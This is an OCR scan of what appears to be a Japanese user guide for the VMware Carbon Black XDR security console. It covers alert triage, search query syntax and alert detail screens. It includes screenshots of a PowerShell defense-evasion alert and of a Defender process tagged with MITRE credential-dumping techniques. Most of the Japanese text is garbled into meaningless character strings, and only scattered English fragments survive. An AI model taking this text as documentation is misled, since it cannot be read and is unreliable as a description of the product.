. ZDfth
7 [BE7S—rDEE] €/ 32T UTERTITEHENEDDEREIRLET,
m RAUEZEID £ DI XRTOBETS—FERALS
m BEUCEBEID 2B D25%ODIRTOTS— FEEHMICEHAL S

E: [77-bEXRFIZVV YO LTRUERID 2B D9INTDT7 5 —hERTLET,

8 7I5—hEMLSEH BLUSERDOINTODTS—h (REHTDH5E) 2HlHT LI AEZMOI—T—(TEM
LETY.

9 [75—hrZRALB]IZVJYILET,
R

TZ2-bDU—=070- RAT—FAB[FALB] ICEDUET. ZEE. [75— b ID BE] RA U (CEREFESNET,
[

75—k IDBE] R Y EERLT, 75— DT -5 70— A7 —5 AITHT BLUMOEEE TR TRRLE
7.
77— hZERMS

COFIEEFERLTTYZ—hERE. BEITIZINTOTS—hEREET,

FIE

1 EAOFES—2ar RAUT [T5—RFEIUYILET,

2 [JN—TDEE: L] £BRLET,

3 HALBT7S—bEIUYILET,

4 [7023»]3T, BAYTSOY AZa—-%0Uy I LET,

5 [B<]1zsUvoLET,
[75—bERK] D1 Y RUDBRTENET.

6 [BEE7S—FDEE] €I a>T, UTERTTINEINEHERLET,
n RILCEHID #2329 NTOEET S — &<

VMware, Inc. 62



VMware Carbon Black XDR 21— — 74 R

n FEUEEID 2 D5BDINTOT S — & BEHIICHL

F: [75-bEeRR]IEV YO LTRLEBEID 2 DIRTODT S —hERRLET,

7 75— hERKER. BLUSEOINTOT S — MEATHEE)EMRT I ATEMBOI - —(TEMLE
ER

8 [7TZ—-hERK]IZVZVUYILETY,

BER
TI2—bDT—=0T70— AT —FAD [MAK]ICEDLVET., BEIE. [7F5— b ID BE] R4 VICRRFESNET,
[72—hFIDEEB]IRAVEFERALT. 72—rDT7—20 70— RAT—F RIHTHLURDEEFEE TN TERRLE
ERS
75— hERTRELTI—4
COFIEEFEALT, 75— hE ETR]ELTIY—ILET,
Flg
1 EAOFETS—>a>y RAUT, [7Z2—MZEIUYILET,
2 [UN—TeoEE 5 L] EBIRUET,
3 72—bhEOUvOLTHLET,
4 [Foar]FT KAy TIOY AZa—%&20UvILET,
5 [EFHRELTY—2]1%&0Uv I LET,
(72— hZEETRELTY -] BAVPERRIN, BETEIIRTOTS—hEEERTEET,
6 RUCEEIDZFDIRTOTSI—h& ETF] ELTI—ITEINEDDEBERLET,

E: [77-bEXRFIZVV YO LTRLUERID £2HBD9INTDT7 5 —hEXRTLET,

7 [OKlZ2Uv s ULET,

ToZ2—bDT7—0 70— RAT—F AP [EFTHR] ICBEDLVUEYT., BEIL. [TF7— b ID BE] XA VICEEFEEINET.
(75—~ IDBEE]lRAVEFRLT, 75— DU —2 70— AF—F RICHTALURDEEE TR TERRLE

BRROER

BRET7 14—V REFERT 5813, ROFEEFEATEET.

[fE#% ]

BRET HI5E(ETL/E (B : powershell) £/2EKEDT AL BA— R (B : power®) ZERL TN,
(BRT7 1 —ILR]
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BEITA—ILREEDDIBE, COL VT VEERLTLKEE N 74 —)L R AEE
I

parent name:powershell.exe

(DAL RA—R]

TJAIWRN—REFEALTCIIVETLRLET, *[?]1 DOXFEIC—HHLET, =EXIL tert EANTDE.
[test] & Ttext] DIERMNIREINET * * O BELULEDERE LEXFIC—EHLET. #:tes (L [test]. [testingl.
[tester] DERZRLET

77 AIVRRFIRRICENTEBED VA I FA—RPEZSNET,
f5l : process_name:.exe

BESIAETNY VRS Y a2 ERAL TROFHRIFELIRT —TLBEE, TA4IVRA—RENXRTERT S
EMTEET :+ - ss || L () (y L1~ ~*2:/

Bl (141):2 ZRBI BICIF ROEDICAALET + \ (1\+1\)\:2

CEEF]

BEFEFEALTI/IVERYIALET, BEFEAXFTHLILEDNHYET,
n  [AND] i DFAVHFET DBRICHERERLET

s [OR] WINDDEANEFET 2HEICHERERLET

s [NOT] BANHFELGEWGEICHERERLET

[TRT—7]

YO T AMEBERS XN T 4 Y EFERTIIBE%2KRE, Aovia, A0y, BLUVAR-REFHTIRT—TF
HUENRHYET,

[B /s Ea B ]

BYEHE. Bf/EEREREERLTO/TYERVIALET,

il : device timestamp: [2018-10-25T14:00:00Z TO 2018-10-26T15:00:00%]
(1B #i%Z=]

HEETAMNIRA—ROHZEHREEFALIT)ERYIARET,

m [3TO*]3 DETHRELBEHDERERLET,

m [*TO10] &K 10 £TOEHKDEREERLET,

[7Z— b BETHERINLET S -~ T PMERTEA<AY, [BA] ELTHREIND LD ICHRVELE
WREINETS—b T—%F. CBOHTI7 45 ) LT [ER] BETHRRETEET,
1T EAOFET—ar RAVT, [BE]-[BAl 25V vy I LET.

2 [Z4)5]1TI547]-[CB N#] Z#IRLET.
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[BA] BE T, BRSNICHEWTS—BT7S5—-bELTI—VENEHA,

E O E\MAITVUOERICDNTIE. ['VMware Carbon Black Cloud 1—H— A4 Rl @ [EELBERE]
ESBLTLEE,

7o2—bhOKNUT—=2
T7Z—bDORIUT=UHRC TI-FEREL. TI-MIMLTET o2 3 ERITTEET,
BEE: [75-hOMNIT7-2IEEIC [TIDBHYERA] ERRSNLFETH., PRTLINY OISO
RTT—SZRELTNBAIREMENSH Y ET., LIES<KBEH/LELEN, FHILLWTS—FOHICL>TIE, BEBEDA
NICHRDDBEEDBHYET. LESSKFOTHLEEEZEHT L. MENRRT DBE0BHYET, (TNIIBE
HMOMBETHY., SEBREINET.)
s [AE]ZVVvIL. [BAEIEEOTS—ba bUALEBRERRELONHLET,
n FLUPEO[TOIIVRFIRS LV EIU I LT ROBEEFTVET.

m AU X MTEMN

m EFUXNTEM

» Fy7O—-REUSIIXb

m  VirusTotal Ti#%

n TV — a3 EHEIR
m TS bERMIALEEBANZ [75— bOFME] XA VICRRLUET,

F: RAM=RODT77A4704—IBLYIDS 7Z— ~IZIE. &K 100 BOEANESENTNET, 100
%##8% %<&, Carbon Black Cloud [2BINOEEE R #=HEI L £ T,

7>—bDOHRE

ZDEoarTIE T2 hERETIEOHDRAN 75074 RAICDWTHMEALET.
ROIBEZEHRLET,

n BEEXOT

n H/ARERE

n B8ETSTTP

m J7ANDOLVEaT—23r

Ry TR

AN SOFFHE

B OV R AV (HBHEHE)
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RDOEMELET,

. FOTOTZACEEDERCHRUOEINE LIENM?

B 77 AIDONRREEED LT ?

s JOEXRE [EE] XRATRITENTOETH?

n EOWBERICADS TNELEM?

m LPORBMUBEBEINELEDN?

B J7ANDLEaAT—2 3 rBLBETLEDN?

BECIEL T, thDRTY TERFTLET,

m FEEEINA0 Google 7T /UT—2 a3 T AIDH DB

B FoAABMIRBELELEDBDICDVTOMERERDD

m SHEINS MITREEZMEZET+vyFURMDEY bEHERT S
n [HRYLERE] EZEALTARY MERLED 15 DaEIICHERL. JUEZOREZEDS

n BRINETITAETADRYE DIV TFRNEHR

T7S5—MTOT7 03T

(722 arvRF] R UHSERTEDZHEECMZ T, CBAHTS— ML TRIATER N DHODT Z 3>
NHYUET,

7S5—MC&Y MU AEINETNA RDOIREE

[N RERE] 20 )y oL, (REE)OITRN 20Uy o LET,

TNARERBETHZET, BOLWT IT A ET AR T TRy bT—0DEYDHAITHEST 5D %R
LET. TSRS BEERED SHIRENSETHREMSNICERICBVET. TN RERBET D (CEBADDD
BEBHYET,

REEDSTNA REZHIBRTBICIE. [TNA REREER] 20 v o LET,

A EDIENN

AEEEBMNTAIET, AV A—F—ROAZT 25— a3 VFERERBETTHELI. 75— FDBREY 7 4
IWEZ ) ONEEBICTEET, [AEDEM] 22BL TS,

A< ELREACS

TS—bDOU—070-%RELT. TSI ERWNVZUBCRZULET, [75—b 7—070—-0iRE] 258
LTS,
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Live Response MD{EF

(4 7DBR] 24 ') v~ LT Live Response #v i 3 v Z&BIALET. Live Response #EFEHALT. UE—h
FAEERITL. ETPOREEMIE L. BEHEEIELE T, Live Response D#EEZEER T 5(Z(3. Carbon Black
Cloud T Live Response DERE=HF DO —/)LE1—HY—(CB|UHTHHLENH Y ET. [Live Response D
Al & [2—F—O0-Jl] 25BLTEZ,

Live Response (3. /N—2 32 3.0 LIED Y —%2ETTL. Live Response DEXICEINZARY 2 —HEIU X
TonEIY RRA Y FTERTEET, Live Response (3. NA /3R E— RELIIRBEDOT/NA A TERTEE
ER

77— KT BHEDEMN
75— FOSEBED BRI N TEET,
[75— hORM] <A Y EEALT, 75— NMIHLT (B8] F/(3 [BRI] 75— FOUEETLET.

TFHFURMIZ 4 —RNY O ERHETEHILET, ETNDO M-V JICERL. BEOBBELEDICHES AT A
DREEESDDHENTEEY. AP -—DPoDT A —RNYIERRTBHIET, PRATLRDETINITY L%
HEL., FRHNICEMERET DLOD -2 IDEIEENET,

EFi O FTI7AINTIE HEER L] ICHRESNTOET,

Flig
1 ERAOFET—23ary RAVT [T5—HFZVVvILET,
2 T5-bOFEHERTTBICE. ROVWTNHOREETOET,
m TS hESTINOVYILET,
n [T ar]FORBT[>]IESY YO LET,

ALERT DETAILS
Alert ID: dSbbf89d-77dd-4420-b929-574588be 71 dbr

Reason Process powershell.exe was detected by the report
“Defense Evasion - Powershell Execution from Non-
Standard Path® in & watchlists

Determination Mone True positive False positive

AMNOMALY CLASSIFICATION
< Anomalous -

Prevalence

Last seen 1:19:01 amjJan 25, 2023
3 [ERH] FF [BKRE]Z2Vv LT 753—rDT75—MET 1 — BNy O ERHBLET,
i ZOT7a4—BENY IR ETIOFRENTIEGLS, HEDT S — FEAROFHEICEELXT., 75—k
NEATARTZ—bDEUANA NI —AICET B#RETOLD. 74— BNV IDRMBIET S — %R

SATLADRL—Z JICERIBET,

IERRIRH

ZDEIarTE T FOEBRKHICDNWTHRALET,
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IEtR i
FRiHE, BESHBLELTELS SNUMFENET S~ MTE., UTHEENET.
n AT ITREDMOBHESDTENDHET 7 ANV A AU T M EEELEBEOH BN b

m  KNOWN_MALWARE, SUSPECT MALWARE. £72(3 PUP DL EaF— 3> %#D7 74 )b, £/2(3 NOT_LISTED
(B : €a74([0-dayl)) 771V

. BEMROBEEL(E TTP (F, RIZO [EERRE] CEDVTEDODLWVEEDRHYET

. [RE]: BEOHDIT VT A ET A PRESNDSEENHYETH, BIETH LR TEEEA. BE. i
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> [Frokenon

msmpeng.exe
Policy Action Current Cloud Reputation
Terminate Not Listed
Process State . Signature Verification
Ran Signed And Verified

CMD "C:\ProgramData\Microsoft\Windows D
efender\Platform\4.18.2211.5-0\MsMpE ¢l
ng.exe"

Process name c:\programdata\microsoft\wind
ows defender\platform\4.18.22
11.5-0\msmpeng.exe

Process SHA-256

Process MD5

PID 4412
Starttime 1:42:56amJan 6, 2023

Techniques (?)

policy_terminate ] read_security_data
(EI el | unknown_app

(mitre_t‘l 005_data_from_| ocal_sys)

(mitre_t‘l 003_05_credential_dump)

Signed Microsoft Windows Publisher ~ ADD

Product -

CA Microsoft Windows Production PCA
2011

Publisher -

Malware Not Detected

App Origin -
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